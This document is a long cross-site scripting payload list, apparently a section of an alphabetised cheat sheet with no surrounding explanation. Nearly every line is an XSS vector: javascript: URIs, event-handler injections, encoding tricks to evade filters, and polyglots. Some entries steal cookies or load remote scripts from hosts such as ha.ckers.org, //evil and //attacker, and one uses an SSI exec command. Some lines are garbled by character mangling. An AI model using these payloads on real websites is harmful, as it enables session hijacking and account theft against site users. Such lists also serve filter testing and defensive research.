javascrip + t:’click me! + #’-alert(1)
javascrip + t:”click me! + #”-alert(1)
javascrip + t:click me! + #-alert(1)
javascript + :’click me! + #’-alert(1)
javascript + :”click me! + #”-alert(1)
javascript + :click me! + #-alert(1)
javascript: + /*click me! + #*/alert(1)
javascript: +click me! + #-alert(1)
javascript + :”-’click me! + http://..."-'click me</javascript>#’-alert(1)
javas + cript:-click me! + http://domain/page?p=%3Cjavas%20onclick=location=tagName%2binnerHTML%2bURL%3Ecript:-click me!</javas>#-alert(1)
javas + cript:”-’click me! + http://domain/page?p=<javas%20onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#’-alert(1)
javascript:-click me! + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:-click me!</j>#-alert(1)
javascript:”-’click me! + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:”-’click me!</j>#’-alert(1)
javascript:/*click me! + <j 1=”*/””-alert(1)<!?—?K
javascript:/*click me! + */” + <j 1=”-alert(9)//” …
javascript:/*click me! + */” + <j”-alert(9)<!?—?…
javascript:/*click me! + */ + <x 1= -alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
javascript:/*click me! + */” + <x 1=” -alert(9)//” onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
javascript:/*click me! + */ + <x-alert(9)<!V onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
javascript:/*click me! + */” + <x”-alert(9)<!V onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
javascript&colon;alert(1)
javaSCRIPT & colon; alert (1)
javaSCRIPT&colon;alert(1)
javaSCRIPT&colon;confirm(1)
;})javascript:confirm(0);
;javascript:confirm(0);
“javascript:confirm(0);”,
javascript:confirm(0);
javascript:confirm(1)//
JaVaScRipT:confirm(1)
JaVAscRIPT:confirm(4)
javascript:confirm(7)//://svg
 javascript:confirm&lpar?A1&rpar?A
javascript:c=String.fromCharCode;alert(c(83)+c(117)+c(109)+c(79)+c(102)+c(80)+c(119)+c(110)+c(46)+c(110)+c(108))
javascript:document.cookie=window.prompt(“edit cookie:”,document.cookie);void(0);
javascript:document.scripts[0].src=’http://127.0.0.1/yy.js';void(0);
javascript:document.write(“<script src=xxx></script>”)
javascript:document.write(unescape(‘<script src=”http://www.xxxx.com/x.js"></script>'));
javascript:%E2%80%A8alert`1`
javascript:eval(unescape(location.href))
javascript:HTMLDocument.__proto__.__defineSetter__(“prototype”,function(){try{d.d.d}catch(e){confirm(e.stack)}})
javascript: + http://domain/page?p=<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)
javascript:- + http://domain/page?p=<javascript:- onclick=location=tagName%2bURL>click me!#-alert(1)
javascript:”-’ + http://domain/page?p=<javascript:"-' onclick=location=tagName%2bURL>click me!#’-alert(1)
javas + cript: + http://domain/page?p=<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
javascript: + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
javascripT://https://google.com%0aalert(1);//https://google.com
<javascript id=:alert(195) onmouseover=location=tagName%2Bid>00000
<javascript id=:alert%26%2340;39%26%2341 onmouseover=location=tagName%2Bid>00000
<javascript id=:alert(38) onmouseover=location=tagName%2Bid>00000
<javascript id=:alert&#40;193&#41 onmouseover=location=tagName+id>00000 
<javascript id=:alert&lpar;194&rpar; onmouseover=location=tagName+id>00000
javascript:/* + <j 1=”*/””-alert(1)<!V onclick=location=innerHTML%2bouterHTML>
javascript:/* + <j 1=*/-alert(1)<!V onclick=location=innerHTML%2bouterHTML>
javascript = j&#x00041vascr&#x00069pt
Javascript = j&#x00041vascr&#x00069pt
jaVasCript:/*-/*`/*`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>
jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e
<!?—?jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ?
jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>’click me!</javascript:>#’-alert(1)
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>click me!</javascript:>#-alert(1)
<javascript onclick=alert(tagName%2Blocation.hash)>click me!#:alert(1)
<javascript: onclick=alert(tagName%2Blocation.hash)>click me!#alert(1)
<javascript onclick=alert(tagName)>click me!
jaVasCript:, oNcliCk=, et al.
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1)
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>’click me!#’-alert(1)
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>click me!#-alert(1)
<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:/*click me!#*/alert(9)
<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:’click me!#’-alert(9)
<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:click me!#-alert(9)
<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)
<javascript:- onclick=location=tagName%2bURL>click me!#-alert(1)
<javascript:”-’ onclick=location=tagName%2bURL>click me!#’-alert(1)
<javascript onclick=location=tagName+innerHTML+location.hash>:/*click me!
<javascript onclick=location=tagName+innerHTML+location.hash>:/*click me!#*/alert(1)
<javascript onclick=location=tagName+innerHTML+location.hash>:’click me!#’-alert(1)
<javascript onclick=location=tagName+innerHTML+URL>:”-’click me!</javascript>#’-alert(1)
<javascript onclick=location=tagName+location.hash(1)>click me!#:alert(1)
<javascript: onclick=location=tagName+URL>click me!#%0Aalert(1)
<javascript:”-’ onclick=location=tagName+URL>click me!#’-alert(1)
javascript:prompt(1)#{“action”:1}
“javascript:prompt(/compa1/.source);var x = prompt;x(0);x(/1/.source);x”
/”/_javascript:prompt(/1/.source);var x = prompt;x(0);x(/1/.source);x
javascript:prompt(/1/.source);var x = prompt;x(0);x(/1/.source);x
javascript:propmpt(1)
javascript:// ?</script></title></style>”/</textarea>*/<alert()/*’ onclick=alert()//>a
javascript:/* ?]]>%>?></script></title></textarea></noscript></style></xmp>”>[img=1,name=/alert(1)/.source]<img?—?/style=a:expression&#40&#47&#42'/- /*&#39,/**/eval(name)/*%2A///*///&#41;;width:100%;height:100%;position:absolute;-ms- behavior:url(#default#time2) name=alert(1)onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>”
‘/(javascript\s*:)/Usi’,
javascript<TAB>:alert(1) 
javascript://’//” ?</textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title>”/</script></style></textarea/ ?*/<alert()/*’ onclick=alert()//>/
javascript://</title></style></textarea> ?</script><a”//’ onclick=alert()//>*/alert()/*
javascript://’/</title></style></textarea></script> ?<p” onclick=alert()//>*/alert()/*
javascript:// ?</title></style></textarea></script><svg “//’ onclick=alert()//
javascript:/* ?</title></style></textarea></script></xmp><svg/onload=’+//+/onmouseover=1/+/[*/[]/+alert(1)//’>
javascript:/* ?</title></style></textarea></script></xmp><svg/onload=’+/”/+/onmouseover=1/+/[*/[]/+alert(1)//’>
javascript://</title></textarea></style></script ?<li ‘//” ‘*/alert()/*’, onclick=alert()//
javascript:\u0061lert(1)
javascript: \ u0061lert & # x28; 1 ??& # x29
javascript:\u0061lert&#x28;1&#x29
(javascript:window.onerror=confirm;throw%20document.cookie)
javascript&#x3A;alert&lpar;document&period;cookie&rpar;
javascript&#x3A;confirm&lpar;document&period;cookie&rpar;
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:-click me!</javas>#-alert(1)
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:”-’click me!</javas>#’-alert(1)
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
<javas onclick=location=tagName+innerHTML+URL>cript:”-’click me!</javas>#’-alert(1)
<javas onclick=location=tagName+innerHTML+URL>cript:</javas>#%0Aalert(1)
javas + script: + ale + rt + (1)
javas & Tab; cript: \ u0061lert (1);
javas&Tab;cript:\u0061lert(1);
java&#x000000000000000073;cript:name
j&NewLine;a&NewLine;vas&NewLine;cript:confirm(1);
<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>
<j onclick=location=innerHTML%2bURL>javascript:-click me!</j>#-alert(1)
<j onclick=location=innerHTML%2bURL>javascript:”-’click me!</j>#’-alert(1)
<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
<j onclick=location=innerHTML>javascript%26colon;alert(1)//
<j onclick=location=innerHTML>javascript&colon;alert(1)//
<j onclick=location=innerHTML+URL>javascript:”-’click me!</j>#’-alert(1)
<j onclick=location=innerHTML+URL>javascript:</j>#%0Aalert(1)
<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>
$(‘ jqueryselector’).append(‘some text to append’);
JSON.parse(‘{“__proto__”:[“a”,1]}’)
JSP a = val1
<keygen autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(104)>
<keygen autofocus onfocus=alert(1)>//INJECTX
<keygen id=1 onfocus=javascript:eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>”>/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
“>/KinG-InFeT.NeT/><script>alert(document.cookie)</script> 
“>/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
<kukux onanimationend=alert(34)>
<kukux style=animation-name:n onanimationend=alert(43)>
<kukux style=display:block;position:absolute;background-color:red;font-size:999px onmouseenter=alert(document.domain)></kukux>
l= 0 || ‘str’,m= 0 || ‘sub’,x= 0 || ‘al’,y= 0 || ‘ev’,g= 0 || ‘tion.h’,f= 0 || ‘ash’,k= 0 || ‘loca’,d= (k) + (g) + (f),a
<label class=”<% confirm(1) %>”>
language=vbs>test</b>
<LAYER id=1 SRC=”http://xxxx.com/scriptlet.html"></LAYER>
<LAYER SRC=”http://ha.ckers.org/
<;LAYER SRC=”;http://ha.ckers.org/scriptlet.html";>;<;/LAYER>;
<LAYER SRC=”http://ha.ckers.org/scriptlet.html"></LAYER>
<Layer+src=”http://localhost">
<LAYER src=”http://1.ha.ckers.org/a.js"></layer>
<LAYER SRC=”http://1.ha.ckers.org/a.js"></layer>
<LAYER SRC=”javascript:document.vulnerable=true;”></LAYER>
<LAYER SRC=”%(scriptlet)s”></LAYER>
{}let{}={}
let=[`const`];
let=[`const`];(_=_=>let+`ructor`)[_`${_=`ale`}`](_+`rt(let)`)``
let:let{let:[x=1]}=[alert(1)]
(_=_=>let+`ructor`)
<limited_1_point>eval(document.referrer.slice(80));</limited_1_point>
<limited_1_point>eval(document.URL.slice(80));</limited_1_point>
<limited_1_point>eval(document.URL.substr(80));</limited_1_point>
<limited_1_point>eval(get(‘http://xxx.com/x'));</limited_1_point>
<limited_1_point>eval(location.hash.slice(1));</limited_1_point>
<limited_1_point>eval(location.href.slice(80));</limited_1_point>
<limited_1_point>eval(location.href.substr(80));</limited_1_point>
<limited_1_point>loads(‘http://xxx.com/x');</limited_1_point>
<link%20rel=”import”%20href=”?bypass=<script>confirm(document.domain)</script>”>
<link%20rel=import%20href=http://avlidienbrunn.se/test.php>
<link%20rel=import%20href=https:html5sec.org/test.swf
<link href=”http://host/1.css">
<link href=”javascript:alert(1)” rel=”next”>
<link+id=p1+rel=import+href=/dom/sinks.html>&name=<img/src/onerror=alert(1)>
<link rel=”import”
<link rel=import href=angular.html><p ng-app>{{constructor.constructor(‘alert(1)’)()}}
<link rel=import href=angular.html><p ng-app>{{constructor.constructor(‘alert(18)’)()}}
<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!?—?
<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!?—?alert(21)// ?</svg><script>0</script>
<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!?—?alert(19)</script></form>
<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!?—?alert(1)</script></form>
<link rel=import href=”/bypass/path/<script>alert(16)</script>”>
<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`1`%></script>
<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`20`%></script>
<link rel=import href=/bypass/usercontent/icon.jpg>
<link rel=import href=/bypass/vue.html><div id=app>{{constructor.constructor(‘alert(1)’)()}}
<link rel=import href=”data:,%%0D3Cscript>alert(68)%%0D3C%%0D2Fscript>
<link rel=import href=data:text/html;base64,PHNjcmlwdD5wb3B1cD0xOzwvc2NyaXB0Pg==>
<link rel=import href=”data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt; 
<link rel=import href=”data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;
“><link rel=import href=data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;
<link rel=”import” href=”data:text/html&comma;&lt;script&gt;alert(document.domain)&lt ;&sol;script&gt;
<link rel=import href=”data:text/html,<script>alert(1)</script>
“><link rel=import href=data:text/html,<script>alert(1)</script>
<link rel=”import” href=”data:x,<script>alert(1)</script>
<link rel=import href=//evil>
<link rel=import href=/%http://0d-z.exeye.io >
<link rel=import href=/upload/…..>
<link rel=”import” href=”//1.cx”>
<link rel=import onerror=confirm(1)>
<link/rel=prefetch&#10import
<link/rel=prefetch&#10import href=data:q;base64,PHNjcmlwdD5hbGVydCgnQHFhYicpPC9zY3JpcHQ+>
<link/rel=prefetch&#10import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4g>
<link rel=”prefetch” href=”http://1.cx">
<link/rel=prefetchimport href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
<link rel=’preload’ href=’#’ as=’script’ onload=’confirm(203)’>
<link rel=’preload’ href=’#’ as=’script’ onload=’confirm(domain)’>
<link rel=stylesheet href=//attacker/test.css>
<link rel=stylesheet href=’data:,?*%7bx:expression(alert(1))%7D’ > 
<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d>
<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d
<link rel=stylesheet href=’data:,+/v8*%7bx:e+AHgAcA-ression(confirm(1))%7D’ >
<LINK REL=”stylesheet” HREF=”http://3w.org/1.css">
“><link rel=”stylesheet” href=”http://8ant.org/asdfqwer.css"><"
<;LINK REL=”;stylesheet”; HREF=”;http://ha.ckers.org/1.css";>;
<LINK REL=”stylesheet” HREF=”http://ha.ckers.org/1.css">
<link rel = “stylesheet” href =”http://www.xxx.com/atack.css">
<LINK REL=”stylesheet” HREF=”http://1.cx/1.css">
<LINK REL=”stylesheet” HREF=”http://xxxx.com/1.css">
<LINK REL=”stylesheet” href=”javascript:alert(‘XlSS’);”>
<;LINK REL=”;stylesheet”; HREF=”;javascript:alert(‘;1’;);”;>;
<LINK REL=”stylesheet” HREF=”javascript:alert(‘1’);”>
<LINK REL=”stylesheet” HREF=”javascript:alert(1);”>
<LINK REL=”stylesheet” HREF=”javascript:confirm(document.location);”>
<link rel=”stylesheet” href=”javascript:document.vulnerable=true;”>
<link REL=”stylesheet” HREF=”javascript:document.vulnerable=true;”>
<LINK REL=”stylesheet” HREF=”javascript:javascript:alert(1);”>
<listener event=”load” handler=”#y” xmlns=”http://www.w3.org/2001/xml-events" observer=”x”/>
<listing>&lt;img src=1 onerror=alert(1) &gt;</listing>
<listing>&ltimg src=x onerror=confirm(1)&gt</listing>
<li style=”color:rgb(‘’0,0,&#0;javascript:expression(confirm(1))”>1</li>
<li style=list-style:url() onerror=alert(1)>
<li style=list-style:url() onerror=alert(1)></li>
<LoadingMovMinDuration>3</LoadingMovMinDuration>
<LoadingMovPercentToLoad>50</LoadingMovPercentToLoad>
<LoadingMovURL>http://thebest404pageever.com/swf/FUUUUUUUUUUUUUUUUUUUUUUUUUCK.swf</LoadingMovURL>
<!?—?localhost/1.php?q=PAYLOAD ?
location+=[]
location=’&#118&#98&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41'
 =location=a?jav\x41script\x3aconfirm\x28a3ZDresearcha?\x29a2>ZDresearch
location.assign`javascript:alert(1)`
Location Based Payloads V Part I
Location.hash[1] = :
Location.hash[2]= (
Location.hash[3] = )
(location.hash){eval(location.hash.slice(1))}else{confirm(document.location)}//<img src=”x:x” onerror=”if(location.hash){eval(location.hash.slice(1))}else{confirm(document.location)}”>
;location.href=’http://site’;//
“;location.href='http://site';//
location.href`javascript:alert(1)`
location=`http://google.com/csi ?${escape(document.cookie)}`;
location=/http/.source+/:/.source[0]+/\//.source[1]+/\//.source[1]+/google.com/.source
location=’http://\u{e01cc}\u{e01cd}\u{e01ce}\u{e01cf}\u{e01d0}\u{e01d1}\u{e01d2}\u{e01d3}\u{e01d4}\u{e01d5}google\u{e01da}\u{e01db}\u{e01dc}\u{e01dd}\u{e01de}\u{e01df}.com'
location=’javasc&#114ipt&#58alert&#40~1&#41'
‘;location=’javascript://’%2Blocation.hash;’
location=’javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c %75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)’
location=’javascript:%61%6c%65%72%74%28%31%29'
location=’javascript:alert(0)’;
location`javascript:alert(1)`
location=’javascript:ale’+’rt(12)’;
location=javascript:confirm(0);.
location=’javascript://\u2028alert(1)’;
location=location.hash
“;location=location.hash)//#0={};alert(0)
location=location.hash //FF only
location=location.hash.slice(1);
location=location.hash.slice(1); //avoid the #
“;location=name;//
location=name;
location=name
location=name//’,’javascript:alert(1)’);
location.reload`javascript:alert(1)` 
location.replace`javascript:alert(1)`
location.search, tagName, nodeName, outerHTML
location=unescape`%68%74%74%70%3A%2F%2F%67%6F%6F%67%6C%65%2E%63%6F%6D`
Lol:Function`alert(1)```````````
lol video<!V”href=javascript:alert(1) style=font-size:50px;
lol video<!Vhref=javascript:alert(1) style=font-size:50px;display:block;color:transparent;
( = &lpar;
&lt;!&#91;endif&#93;?—?&gt;
&lt;!?—?&#91;if gte IE 4&#93;&gt;
&lt;A HREF=\”//google\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//0102&#46;0146&#46;0007&#46;00000223/\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//1113982867/\”&gt;1&lt;/A&gt;
&lt;A HREF=\”htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//66&#46;102&#46;7&#46;147/\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//google&#46;com/\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//google&#58;ha&#46;ckers&#46;org\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//ha&#46;ckers&#46;org@google\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/\”&gt;1&lt;/A&gt;
&lt;A HREF=\”http&#58;//www&#46;google&#46;com&#46;/\”&gt;1&lt;/A&gt;
&lt;a href="http://i.imgur.com/b7sajuK.jpg" download&gt;<a href=”http://i.imgur.com/b7sajuK.jpg" download>What a cute kitty!</a>&lt;/a&gt;
&lt;A HREF=\”javascript&#058;document&#46;location=’http&#58;//www&#46;google&#46;com/’\”&gt;1&lt;/A&gt;
&lt;A HREF=\”//www&#46;google&#46;com/\”&gt;1&lt;/A&gt;
&lt;BASE HREF=\”javascript&#058;alert(‘1’);//\”&gt;
&lt;BGSOUND SRC=\”javascript&#058;alert(‘1’);\”&gt;
&lt;BODY BACKGROUND=\”javascript&#058;alert(‘1’)\”&gt;
&lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=alert(\”1\”)&gt;
&lt;BODY ONLOAD=alert(‘1’)&gt;
&lt;BR SIZE=\”&{alert(‘1’)}\”&gt;
&lt;DIV STYLE=\”background-image&#58;\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029\”&gt;
&lt;DIV STYLE=\”background-image&#58; url(javascript&#058;alert(‘1’))\”&gt;
&lt;DIV STYLE=\”width&#58; expression(alert(‘1’));\”&gt;
&lt;? echo(‘&lt;SCR)’;
&lt;EMBED SRC=\”data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\” type=\”image/svg+xml\” AllowScriptAccess=\”always\”&gt;&lt;/EMBED&gt;
&lt;EMBED SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;swf\” AllowScriptAccess=\”always\”&gt;&lt;/EMBED&gt;
&lt;!?—?#exec cmd=\”/bin/echo ‘&lt;SCR’\”?—?&gt;&lt;!?—?#exec cmd=\”/bin/echo ‘IPT SRC=http&#58;//ha&#46;ckers&#46;org/1&#46;js&gt;&lt;/SCRIPT&gt;’\”?—?&gt;
&lt;!?—?#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;?—?&gt;&lt;!?—?#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/1.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC=\”javascript&#058;alert(‘1’);\”&gt;&lt;/FRAMESET&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV=\”CONTENT-TYPE\” CONTENT=\”text/html; charset=UTF-7\”&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(‘1’);+ADw-/SCRIPT+AD4-
&lt;HTML xmlns&#58;1&gt;&lt;?import namespace=\”1\” implementation=\”http&#58;//ha&#46;ckers&#46;org/1&#46;htc\”&gt;&lt;1&#58;1&gt;1&lt;/1&#58;1&gt;&lt;/HTML&gt;
&lt;!?—?[if gte IE 4]&gt;
&lt;IFRAME SRC=\”javascript&#058;alert(‘1’);\”&gt;&lt;/IFRAME&gt;
&lt;IMG DYNSRC=\”javascript&#058;alert(‘1’)\”&gt;
&lt;IMG \”\”\”&gt;&lt;SCRIPT&gt;alert(\”1\”)&lt;/SCRIPT&gt;\”&gt;
&lt;IMG LOWSRC=\”javascript&#058;alert(‘1’)\”&gt;
&lt;IMG SRC=\”http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\”&gt;
&lt;IMG SRC=`javascript&#058;alert(\”RSnake says, ‘1’\”)`&gt;
&lt;IMG SRC=\”javascript&#058;alert(‘1’)\”
&lt;IMG SRC=\” javascript&#058;alert(‘1’);\”&gt;
&lt;IMG SRC=\”javascript&#058;alert(‘1’);\”&gt;
&lt;IMG SRC=javascript&#058;alert(‘1’)&gt;
&lt;IMG SRC=JaVaScRiPt&#058;alert(‘1’)&gt;
&lt;IMG SRC=\”jav&#x09;ascript&#058;alert(‘1’);\”&gt;
&lt;IMG SRC=\”jav&#x0A;ascript&#058;alert(‘1’);\”&gt;
&lt;IMG SRC=\”jav&#x0D;ascript&#058;alert(‘1’);\”&gt;
&lt;IMG SRC=\”livescript&#058;&#91;code&#93;\”&gt;
&lt;IMG SRC=\”mocha&#58;&#91;code&#93;\”&gt;
&lt;IMG SRC=&quot; &amp;#14; javascript:alert(&apos;1&apos;);&quot;&gt;
&lt;IMG SRC=’vbscript&#058;msgbox(\”1\”)’&gt;
&lt;img src=xx:x onerror=confirm(1)&gt;<script>document.body.innerHTML=document.body.innerText||document.body.textContent</script>
&lt;IMG STYLE=\”1&#58;expr/*1*/ession(alert(‘1’))\”&gt;
&lt;?import namespace=\”t\” implementation=\”#default#time2\”&gt;
&lt;INPUT TYPE=\”IMAGE\” SRC=\”javascript&#058;alert(‘1’);\”&gt;
&lt;label class=”&lt;% confirm(1) %&gt;”&gt;
&lt;LAYER SRC=\”http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\”&gt;&lt;/LAYER&gt;
&lt;LINK REL=\”stylesheet\” HREF=\”http&#58;//ha&#46;ckers&#46;org/1&#46;css\”&gt;
&lt;LINK REL=\”stylesheet\” HREF=\”javascript&#058;alert(‘1’);\”&gt;
&lt;&lt;SCRIPT>alert(“1”);//&lt;&lt;/SCRIPT>
&lt;&lt;SCRIPT&gt;alert(\”1\”);//&lt;&lt;/SCRIPT&gt;
&lt;META HTTP-EQUIV=\”Link\” Content=\”&lt;http&#58;//ha&#46;ckers&#46;org/1&#46;css&gt;; REL=stylesheet\”&gt;
&lt;META HTTP-EQUIV=\”refresh\” CONTENT=\”0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\”&gt;
&lt;META HTTP-EQUIV=\”refresh\” CONTENT=\”0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\”&gt;&lt;META HTTP-EQUIV=\”refresh\” CONTENT=\”0; URL=http&#58;//;URL=javascript&#058;alert(‘1’);\”
&lt;META HTTP-EQUIV=\”refresh\” CONTENT=\”0; URL=http&#58;//;URL=javascript&#058;alert(‘1’);\”
&lt;META HTTP-EQUIV=\”refresh\” CONTENT=\”0;url=javascript&#058;alert(‘1’);\”&gt;
&lt;META HTTP-EQUIV=\”Set-Cookie\” Content=\”USERID=&lt;SCRIPT&gt;alert(‘1’)&lt;/SCRIPT&gt;\”&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6–11d1–8b76–0080c744f389&gt;&lt;param name=url value=javascript&#058;alert(‘1’)&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid:ae24fdae-03c6–11d1–8b76–0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;1&apos;)&gt;&lt;/OBJECT&gt;
&lt;OBJECT TYPE=\”text/x-scriptlet\” DATA=\”http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\”&gt;&lt;/OBJECT&gt;
&lt;SCRIPT a=\”&gt;’&gt;\” SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;js\”&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT \”a=’&gt;’\” SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;js\”&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;js\”&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\”&gt;\” ‘’ SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;js\”&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\”&gt;\” SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;js\”&gt;&lt;/SCRIPT&gt;
&lt;script&gt;alert(&#39;1&#39;);&lt;/script&gt;
&ltscript&gtalert(document.cookie);&ltscript&gtalert
&ltscript&gtalert(document.cookie);</script>
&lt;SCRIPT&gt;alert(‘1’);&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document&#46;write(\”&lt;SCRI\”);&lt;/SCRIPT&gt;PT SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;js\”&gt;&lt;/SCRIPT&gt;
&lt;/script&gt;&lt;script&gt;confirm(1)&lt;/script&gt;
&lt;script&gt;prompt(&apos;1&apos;)&lt;/script&gt;
&lt;SCRIPT =\”&gt;\” SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;js\”&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;jpg\”&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT/SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;js\”&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT/1 SRC=\”http&#58;//ha&#46;ckers&#46;org/1&#46;js\”&gt;&lt;/SCRIPT&gt;
&lt;SPAN DATASRC=\”#1\” DATAFLD=\”B\” DATAFORMATAS=\”HTML\”&gt;&lt;/SPAN&gt;
